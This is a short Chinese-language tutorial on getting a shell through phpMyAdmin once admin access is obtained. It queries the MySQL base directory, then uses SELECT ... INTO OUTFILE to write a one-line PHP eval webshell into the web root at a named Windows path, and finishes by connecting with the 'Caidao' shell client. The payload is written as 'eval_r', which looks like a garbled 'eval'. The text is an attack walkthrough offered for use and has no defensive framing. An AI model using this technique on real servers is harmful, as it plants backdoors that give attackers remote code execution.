phpmyadmin 是一个非常受欢迎的 mysql 管理程序，可以非常方便的管理 mysql。
在获取了 phpMyadmin 后台权限以后，可以非常容易的 getshell 。
第一步（获取 web 绝对路径）：
进入 SQL 标签执行 SQL：
select @@basedir;
这个语句是利用 Mysql 的特性，输出绝对路径。
执行语句
第二步（写入 webshell）：
根据上面的反馈，我们可以看到 MySQL 的位置在 D:\soft\phpStudy\MySQL\目录下。
继续执行命令
select '<?php @eval_r($_POST[cmd])?>'INTO OUTFILE '网站目录路径/eval.php'
在这里我们放在网站根目录上：
select '<?php @eval_r($_POST[cmd])?>'INTO OUTFILE 'D:\soft\phpStudy\www\eval.php'
用菜刀连接即可。
